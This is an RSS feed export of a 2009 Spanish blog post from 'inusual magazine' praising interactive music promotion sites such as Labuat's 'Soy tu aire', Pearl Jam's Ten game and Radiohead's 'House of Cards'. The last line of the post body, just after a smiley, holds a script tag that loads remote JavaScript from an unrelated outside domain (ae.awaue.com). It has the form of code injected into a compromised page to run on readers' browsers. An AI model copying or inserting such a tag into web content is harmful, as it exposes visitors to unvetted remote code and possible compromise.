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	<title>inusual magazine &#187; Música</title>
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	<description>reflexiones sobre creatividad interactiva</description>
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		<title>Experiencias musicales interactivas</title>
		<link>http://www.inusual.com/2009/04/09/experiencias-musicales-interactivas/</link>
		<comments>http://www.inusual.com/2009/04/09/experiencias-musicales-interactivas/#comments</comments>
		<pubDate>Thu, 09 Apr 2009 16:38:00 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
				<category><![CDATA[Comunicación]]></category>
		<category><![CDATA[Diseño]]></category>
		<category><![CDATA[Ejemplos]]></category>
		<category><![CDATA[Experiencias]]></category>
		<category><![CDATA[Interactividad]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Música]]></category>

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		<description><![CDATA[Hacía tiempo que tenía ganas de escribir este post, dedicado a la visión más creativa de la industria musical. Una industria obligada a adaptarse a una realidad que cuestiona su modelo de negocio en su lado más clásico. Es evidente que ya no se venden discos como antes, que las nuevas tecnologías están cambiándolo todo [...]]]></description>
			<content:encoded><![CDATA[<p><img id="image198" src="http://inusual.com/wp-content/uploads/2009/04/music_intro.jpg" alt="music_intro.jpg" /></p>
<p>Hacía tiempo que tenía ganas de escribir este post, dedicado a la visión más creativa de la industria musical. Una industria obligada a adaptarse a una realidad que cuestiona su modelo de negocio en su lado más clásico.</p>
<p>Es evidente que ya no se venden discos como antes, que las nuevas tecnologías están cambiándolo todo y las posturas no pueden ser quejarse infantilmente y criminalizar el poder de Internet como epicentro de todos sus males.<span id="more-231"></span></p>
<p>Como suelen decir, en momentos de presión se fertiliza la creatividad y, afortunadamente, desde hace un tiempo creo que se están dando pasos, pasos interactivos para bendecir definitivamente el medio aunque algunos sigan emperrados en defender lo indefendible y vean en este medio digital un enemigo en vez de un aliado.</p>
<p>Y como aquí no hemos venido a hablar de política sino de interactividad pura y dura vamos a presentaros algunos ejemplos de excelente creatividad aplicada a experiencias interactivas musicales.</p>
<p>Quiero recalcar la importancia de la palabra <strong>EXPERIENCIA</strong>. La creatividad moderna debería intentar adoptar esta palabra ya de un modo definitivo. Hay que pasar del uso al disfrute, como reza uno de los epígrafes del <strong><a href="http://manual.inusual.info/manifiesto-inusual" target="_blank">manifiesto inusual</a></strong>.</p>
<p>Todos los ejemplos que ilustrarán este post están basados plenamente en la creación de experiencias que acercan a las bandas o cantantes a todos, te guste más o menos su estilo, te sientas más o menos identificado con su música. Están tan bien planteadas que, quieras o no, al final de la experiencia te has acercado un poco más a lo que los artistas y bandas pretenden transmitir.</p>
<p>Quiero empezar este recorrido con una pieza que en muy poco tiempo ha dado mucho que hablar. Además está concebida y producida en España lo cual es muy muy buena noticia para el sector en este país.</p>
<p><strong>LABUAT, SOY TU AIRE</strong></p>
<p><strong> </strong></p>
<p><a href="http://soytuaire.labuat.com/" target="_blank"><img id="image200" src="http://inusual.com/wp-content/uploads/2009/04/music_labuat.jpg" alt="music_labuat.jpg" /></a></p>
<p><strong>Link: <a href="http://soytuaire.labuat.com/" target="_blank">http://soytuaire.labuat.com/</a> </strong></p>
<p>Esta pieza creada por <strong><a href="http://www.herraizsoto.com" target="_blank">HerraizSoto</a></strong> es un bello ejemplo experiencia que combina música, gráficos en movimiento e interactividad a partes iguales. Particularmente no es un estilo musical con el que comulgue pero la experiencia es tan hipnótica que me mantiene atado a la pieza durante toda la canción. Es la mejor manera de promocionar a un artista, hacer partícipe al público de algo diferente, seguro que alguno acaba dando un paso definitivo a la hora de apoyar a los artistas.</p>
<p>Esta pieza le ha valido a HerraizSoto, nada más y nada menos que un <strong>Site of the Month</strong> en la referencia indiscutible del sector que es <a href="http://www.thefwa.com" target="_blank"><strong>TheFWA</strong></a>.</p>
<p>Esto es un notición por varios motivos. El primero porque una simple experiencia interactiva, sin grandes alardes presupuestarios, casi sin hacer ruido, es capaz de ser reconocida en el campo de batalla, más allá de pomposos festivales (donde seguro que también sacará tajada) y el segundo motivo es porque me agrada ver cómo el sector en España va despertando y abandona el almidonamiento que tenía en los últimos años.</p>
<p>Se nota el acierto de la decisión de esta agencia de no participar en festivales y destinar esa partida presupuestaria para descubrir de primera mano lo que se cocía en el país de la experiencia interactiva por excelencia, Japón.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>PEARL JAM TEN GAME</strong></p>
<p><strong> </strong></p>
<p><a href="http://www.pearljamtengame.com" target="_blank"><img id="image202" src="http://inusual.com/wp-content/uploads/2009/04/music_pearljam.jpg" alt="music_pearljam.jpg" /></a></p>
<p><strong>Link: <a href="http://www.pearljamtengame.com" target="_blank">http://www.pearljamtengame.com </a></strong></p>
<p>Con motivo del lanzamiento de la edición de lujo de su disco de debut, Ten, Pearl Jam lanza un juego interactivo a modo de puzzle tremendamente kansei con el que poco a poco vamos formando una imagen conmemorativa del lanzamiento.</p>
<p>A medida que avanzamos en la composición del puzzle vamos desbloqueando cada uno de los temas que componen Ten.</p>
<p>Una muy muy inteligente manera de hacer consumir el disco de la mano de <strong><a href="http://www.freedomandpartners.com/" target="_blank">Freedom + Partners</a></strong>.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>KREZIP MUSIC BOX</strong></p>
<p><a href="http://www.krezipmusicbox.nl/" target="_blank"><img id="image199" src="http://inusual.com/wp-content/uploads/2009/04/music_krezip.jpg" alt="music_krezip.jpg" /></a></p>
<p><strong>Link: <a href="http://www.krezipmusicbox.nl/" target="_blank">http://www.krezipmusicbox.nl/ </a></strong></p>
<p>Esta pieza para mi es una pequeña joya interactiva. Ya la seleccioné como parte de lo mejor de 2007. Me gustó tremendamente el planteamiento interactivo de la pieza y cómo hacían partícipe al usuario de la experiencia y consumo del single del disco de la banda holandesa Krezip.</p>
<p>Un gran trabajo de <a href="http://www.achtung.nl/" target="_blank"><strong>Achtung!</strong></a> en todos sus aspectos, creativo, interactivo, gráfico&#8230; en fin, una gozada.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>RADIOHEAD Y SUS EXPERIENCIAS INTERACTIVAS</strong></p>
<p><strong> </strong></p>
<p>El posicionamiento de Radiohead con las nuevas tecnologías siempre ha sido de amor declarado. Desde <a href="http://www.elmundo.es/elmundo/2007/10/01/catalejo/1191253708.html" target="_blank">descargarse su trabajo recién salido del horno a cambio de “la voluntad”</a> pasando por dos de las acciones que queremos destacar en este monográfico.</p>
<p><strong>RADIOHEAD, CREATE YOUR OWN RAINBOW</strong></p>
<p><strong> </strong></p>
<p><a href="http://wowow.co.jp/music/radiohead/special/" target="_blank"><img id="image204" src="http://inusual.com/wp-content/uploads/2009/04/music_radiohead1.jpg" alt="music_radiohead1.jpg" /></a></p>
<p><strong>Link: <a href="http://wowow.co.jp/music/radiohead/special/" target="_blank">http://wowow.co.jp/music/radiohead/special/</a></strong></p>
<p>12 cámaras, Radiohead en vivo y nosotros pudiendo ser los realizadores para construir un arcoiris con su canción. Una manera de acercar un poco más a esta reconocidísima banda.</p>
<p>Una pieza de los japoneses <strong><a href="http://bascule.co.jp/" target="_blank">Bascule Inc.</a></strong></p>
<p><strong>RADIOHEAD, HOUSE OF CARDS</strong></p>
<p><a href="http://code.google.com/intl/es-ES/creative/radiohead/" target="_blank"><img id="image205" src="http://inusual.com/wp-content/uploads/2009/04/music_radiohead2.jpg" alt="music_radiohead2.jpg" /></a></p>
<p><strong>Link: <a href="http://code.google.com/intl/es-ES/creative/radiohead/" target="_blank">http://code.google.com/intl/es-ES/creative/radiohead</a></strong></p>
<p>Hace falta tener un punto de locura y genialidad para plantear una pieza interactiva como esta. Para promocionar el lanzamiento de su nuevo videoclip, la banda decidió alejarse de lo convencional y no grabarlo con cámaras tradicionales sino con captura de movimiento en 3D.</p>
<p>Hasta aquí no pasaría de ser una noticia curiosa pero, liberar el código a través de google code para que los propios usuarios (algo familiarizados con la programación, todo sea dicho) pudieran realizar <a href="http://www.mrdoob.com/74/RA_DIOHEA_D_/_HOU_SE_OF_C_ARDS" target="_blank">sus propias visualizaciones del tema</a>, es lo que convierte a esta pieza en un gran videoclip coral.</p>
<p>Genial!</p>
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<p><strong>PINK FLOYD, OH BY THE WAY</strong><strong> </strong></p>
<p><strong> </strong></p>
<p><a href="http://www.pinkfloyd.co.uk/obtw/" target="_blank"><img id="image203" src="http://inusual.com/wp-content/uploads/2009/04/music_pinkfloyd.jpg" alt="music_pinkfloyd.jpg" /></a></p>
<p><strong>Link: <a href="http://www.pinkfloyd.co.uk/obtw/" target="_blank">http://www.pinkfloyd.co.uk/obtw/</a></strong></p>
<p>Para la promoción de un Box Set con motivo del 40 aniversario de Pink Floyd, <strong><a href="http://www.blocmedia.com/" target="_blank">Bloc</a></strong>, creó un viaje de color y movimiento en el cual se podían degustar extractos de los 14 álbumes que componen toda su discografía.</p>
<p>Una experiencia tremendamente potente en lo visual y, aunque carezca de elementos participativos como los ejemplos anteriores, también cumple con creces su papel inmersivo.</p>
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<p><strong>THE ARCADE FIRE, NEON BIBLE</strong></p>
<p><a href="http://www.beonlineb.com/" target="_blank"><img id="image201" src="http://inusual.com/wp-content/uploads/2009/04/music_neonbible.jpg" alt="music_neonbible.jpg" /></a></p>
<p><strong>Link: <a href="http://www.beonlineb.com/" target="_blank">http://www.beonlineb.com/</a> </strong></p>
<p>Esta sencilla pieza de <a href="http://www.vincentmorisset.com/" target="_blank"><strong>Vincent Morisset</strong></a>, presenta un interesante videoclip interactivo del tema Neon Bible de The Arcade Fire. A lo largo de la canción podemos interactuar con los elementos en pantalla haciéndonos partícipes del desarrollo de ésta.</p>
<p>Una nueva y exitosa manera de hacernos partícipes y consumidores de una pieza musical de principio a fin.</p>
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<p><strong>BOB DYLAN, BEYOND HERE LIES NOTHIN&#8217;</strong></p>
<p><strong> </strong></p>
<p><a href="http://www.beyondhereliesnothing.com/" target="_blank"><img id="image197" src="http://inusual.com/wp-content/uploads/2009/04/music_dylan.jpg" alt="music_dylan.jpg" /></a></p>
<p><strong>Link: <a href="http://www.beyondhereliesnothing.com/" target="_blank">http://www.beyondhereliesnothing.com/ </a></strong></p>
<p>Para la promoción de su inminente nuevo álbum, Bob Dylan nos propone, de la mano de <strong><a href="http://www.verticportals.com" target="_blank">VerticPortals</a></strong>, de una sencilla experiencia interactiva donde podemos formar parte de un poema visual escribiendo nuestros pensamientos mientras va transcurriendo la canción.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- <strong> </strong></p>
<p><strong> </strong></p>
<p><strong>Conclusiones</strong></p>
<p>Echando un nuevo vistazo a todas estas experiencias, todas tienen algunos elementos comunes que merece la pena resaltar.</p>
<p>Todas ellas son piezas muy directas, llenas de una simplicidad que las hace tremendamente accesibles y fácilmente recordables. No hace falta cargar de excesos las piezas, de grandes alardes técnicos, ni presupuestos mastodónticos para lograr efectividad a la hora de comunicar un mensaje tan particular como es el mensaje musical.</p>
<p>En la mayoría de propuestas experienciales, el usuario es un actor decisivo para dotar de sentido a éstas. Se le incita a participar, a sumergirse de lleno en el imaginario musical y con ello se logra la perfecta simbiosis y acercamiento entre banda/artista y público. Es el paso previo a comprar un disco o disfrutar de un directo.</p>
<p>La efectividad de plantear acciones interactivas, del tipo que sean, música, cine, moda, fotografía, etc. enfocadas desde el prisma de la experiencia, del disfrute, del mero placer casi por el placer, empieza a tener un peso de verdad en la vida de las agencias y estudios dedicados a la creatividad interactiva. Es un nuevo paso, una muy buena señal de que, aún en tiempo de crisis, el sector sigue avanzando imparable no sólo en salud sino en calidad de ideas presentes y futuras.</p>
<p>Una gozada&#8230; y lo mejor es que esto es sólo el principio <img src='http://www.inusual.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
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